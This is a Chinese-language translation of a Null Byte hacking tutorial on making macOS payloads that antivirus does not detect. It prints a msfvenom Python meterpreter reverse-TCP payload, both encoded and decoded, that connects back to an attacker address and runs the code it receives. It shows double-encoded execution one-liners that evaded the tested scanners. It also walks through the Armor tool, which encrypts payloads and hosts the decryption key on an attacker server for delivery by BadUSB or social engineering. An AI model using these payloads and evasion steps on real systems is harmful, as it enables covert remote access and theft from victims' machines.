多种加密和编码的方法会比单个方法更有效的对抗macOS系统的防护。另外,使用一些简单的技巧很容易逃避VirusTotal和MaOS的反病毒软件。
假设刚开始某个payload是一个已知的、容易被检测到的针对macOS的payload,然后找到能够使得同一个payload在MacBook顺利执行的方法。而这一过程这将证实一些流行的混淆绕过方法是否有效。除了对抗VirusTotal的检测之外,还在macOS Mojave(v10.14)中测试了流行的反病毒软件(如Avast,AVG,BitDefender,Sophos和ClamXAV等)。
读者需要注意的是,利用一个不知名恶意应用程序和将普通payload绕过病毒扫描器是两个不同的主题。本文的重点将是规避杀毒软件和病毒库的检测。正如我们将在下面看到的,在大多数情况下,简单地编码和加密足以绕过反病毒检测。
编码,作为一种反病毒规避技术,通常是一个很糟糕的主意,因为它很容易被解码和识别。然而,Python编码和Bash脚本是在Empire和msfvenom等payload批量制造软件中是常用的手段。它允许系统执行代码非常复杂的脚本,而不必担心特殊字符转义等特殊情况而导致payload中断或失效。
让我们来讨论一下ba se64编码一分钟,然后思考下面的字符串。
echo 'one' | ba se64 b25lCg== echo 'one two' | ba se64 b25lIHR3bwo= echo 'one two three' | ba se64 b25lIHR3byB0aHJlZQo= echo 'one two three four' | ba se64 b25lIHR3byB0aHJlZSBmb3VyCg== echo 'one two three four five' | ba se64 b25lIHR3byB0aHJlZSBmb3VyIGZpdmUK
所有的字符串都可以在各类Linux系统下使用下面的命令轻松的解码。
ba se64 -d <<< 'b25lIHR3byB0aHJlZSBmb3VyIGZpdmUK'
注意字符串的结尾微妙地变化,而字符串开头开始总是相同的。大多数msfvenom产生的payload也是如此。如果只更改IP地址和端口号,那么对于使用msfvenom每一个黑客来说,其产生的经过ba
se64编码的payload的开始总是相同的。下面是msfvenom配置IP地址“10.42.0.1”创建的payload。
aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEwLjQyLjAuMScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=
当把IP地址配置为“192.168.0.2”时,创建的payload
aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMC4yJyw0NDQ0KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==
不管使用什么IP和端口,payload的前142个字符时总是相同的。如果不对恶意代码进行解码和分析,反病毒软件通过这公共的ba se64字符来判定是否是恶意代码似乎是合理的,但并不是这样。
不管你是否相信,找到一个VirusTotal和反病毒软件能检测到的的恶意文件是一个挑战。在互联网上搜索了一些流行的“黑客macOS”文章之后,社区成员psytech140中的一篇三年前的Null Byte文章发现了一个简单的msfvenom产生的payload。执行下面的命令产生。
msfvenom -p python/meterpreter/reverse_tcp LHOST=10.42.0.1 LPORT=4444 [-] No platform was selected, choosing Msf::Module::Platform::Python from the payload [-] No arch selected, selecting arch: python from the payload Payload size: 446 bytes import ba se64,sys;exec(ba se64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZ..........
这是一个ba se64编码的Python编码的payload,被设计用来与me tasploit交互。将代码保存到一个名为“TimeFielsWord.Py”的文件中,并将其上传到VirusTotal,其检出率为4/58。
这个检测率出乎意料地低。通过对嵌入的ba se64字符串进行解码,可以清楚的看到,Python脚本作用是连接到上的远程服务器(10.42.0.1)的4444端口。
ba se64 -d <<< 'aW1wb3.......... import socket,struct,time for x in range(10): try: s=socket.socket(2,socket.SOCK_STREAM) s.connect(('10.42.0.1',4444)) break except: time.sleep(5) l=struct.unpack('>I',s.recv(4))[0] d=s.recv(l) while len(d)<l: d+=s.recv(l-len(d)) exec(d,{'s':s})
保存被解码的python代码到文件“thisfileisevil_without_encoding.py”中,然后上传VirusTotal,结果如下
有意思的是,原始的Python代码接被检测率更低。
关于这一点,还不清楚VirusTotal和反病毒软件逻辑是什么。他们在解码ba se64字符串或检测Python编码方面做得不是很好,这些代码毫无疑问在多年来已经被不同的黑客使用了数千次。
如果一次普通的编码能够避开大多数杀毒软件,那么双重编码也应该是一种有效的技术,对吧?但是,也不完全是这样。经过这样处理的payload上传到VirusTotal,被检测率达1/54。
再次,唯一的检测出来防护软件是微软,这对macOS没有任何帮助。这是通过对msfvenom的输出payload再编码来实现的,与之前所展示的是同一个payload。
cat thisfileisevil.py | ba se64
以下命令也可以在MacBook上执行
python -c "$(printf '%s' 'ENCODED-PAYLOAD-HERE' | ba se64 -D)"
MacBook使用printf和ba se64对字符串进行解码(-D),并立即使用Python执行命令(-c)——Python会再次解码并创建反向TCP连接。
令我惊讶的是,VirusTotal和流行的杀毒软件都能以这种方式躲避检测。没有一个测试的杀毒软件能够检测文档格式的双重编码的payload。
到目前为止,我们已经了解到编码和双编码能有效规避大多数杀毒软件的检测(尽管使用原始代码更好)。编码payload只是一个黑客和反病毒开发者之间的猫捉老鼠游戏。反病毒扫描器递归的解码ba se64字符串并寻找通用的字符特征只是时间问题。
这使我想到了一种更可靠的方法来击败MacOS反病毒;一种更难检测和预防的解决方案。即加密,除了编码之外,加密将提供更好的解决方案来规避反病毒扫描器。
编码的主要缺点是反病毒软件能够通过连续解码ba se64字符串来发现嵌入的有效payload。无论攻击者编码多少次,它都可以逆向工程。但通过加密payload,反病毒软件最终只会发现一组不可读的数据。而这加密payload不能被AV软件扫描或由人类读取—因为不知道解密的密钥。
这让我想起了一个简单的shell脚本Armor,我创建了一个简单的shell脚来说明如何加密和执行macOS的payload。
Armor将加密任何文件的内容。该文件可以是包含一行程序或者是具有数百行代码的复杂Python脚本,又或者任意macOS支持的编程语言编写的脚本。文件内容用一次性密钥加密。然后,密钥被暂时寄存在攻击者的服务器上,然后由目标MacBook下载下来以解密payload。
下面是一个简单的Netcat的payload的例子。我将一步步说明它。
前提:在端口4444上启动Netcat监听。读取“payload.txt”文件包含的Bash单行程序,在执行时,它将在攻击者的Netcat监听机器和目标MacBook之间创建TCP连接。Armor是用来对Bash内容进行加密的。Ncat被用于在攻击者的服务器上托管解密密钥。当在目标MacBook中执行stager时,会对paylaod文件中的单行程序进行解密并执行,而且不向硬盘写入任何数据。Ncat在使用完密钥后立即终止监听。而当建立了Netcat连接时,攻击者可以远程访问MacBook目标。
我们可是使用如下命令下载安装Armor
git clone https://github.com/tokyoneon/Armor cd Armor/ chmod +x armor.sh
让我们简单创建一个payload,使用ls命令来简单演示入侵效果
echo 'ls -la' >/tmp/payload.txt
现在使用Armor加密payload.txt
./armor.sh /tmp/payload.txt 1.2.3.4 443
其中1.2.3.4是攻击者的IP地址,其中解密密钥被托管在此。这也可以是是本地IP(例如,“192.1681.2”)或虚拟专用服务器地址。Ncat将使用这个地址和端口号(443)来托管解密密钥。端口也可以是攻击者的系统中的任何可用端口。
如果LibreSSL(Mac OS使用的OpenSSL版本)没有在KALI中找到,Armor将尝试安装它。不幸的是,在Kali/Debian中的OpenSSL版本与Mac OS的LibreSSL不兼容。
打开Ncat监听。Armor将自动运行。
[+] Ncat active for stager: payload.txt_e856... Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::443 Ncat: Listening on 0.0.0.0:443
Armor将为目标MacBook生成加密和编码命令。然后这个阶段可以使用BadUsb或者其他社会工程学进行攻击。现在,我们将代码复制和粘贴到MacBook终端上。
当执行阶段时,MacBook终端将以长(-L)格式列出(ls)当前目录中的所有(-A)文件。
我们加密了一个简单的ls命令,但是想象如果用于各种高级而且复杂的Python脚本,执行一个高级的攻击。杀毒软件现今依旧没有对ba se64字符串进行解码,即使它们进行了解码,也无法读取其中的被加密的payload。
Armor并不完美,也希望读者能找到改进的方法。例如,找一个LibreSSL的替代方案,因为大多数Debian和Kali发行版默认没有安装它,所以作为加密解决方案有点不方便。
在攻击者的服务器上托管解密密钥是危险的。如果攻击者的IP地址发现的,那么就可以通过枚举密钥的文件名来下载它。而密钥将对加密后的payload进行解密,逆向工程,从而暴露攻击。
在端口53上使用UDP来传输解密密钥将更有可能避免防火墙的检测和深度包检查(DPI),使得它更加“不可检测”。
此外,找到一种不依赖互联网加密payload的方法也是很重要的。
在测试了针对VirusToal和至少六种流行杀毒软件之后,我发现这其中没有一个能够检测到双编码的payload。看来macOS反病毒扫描器几乎无法识别甚至是最常见的单次编码的payload。而检测Armor所产生的payload对于今天的macOS来说则更具挑战性。
此外,MACOS过于依赖GateKeeper来阻止恶意应用程序。如以前文章所示,GateKeeper提供的保护并不适用于插入MacBook的USB驱动器,因此黑客可以通过社会工程学来进行攻击。
原文链接:https://null-byte.wonderhowto.com/how-to/hacking-macos-create-undetectable-payload-0189715/
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.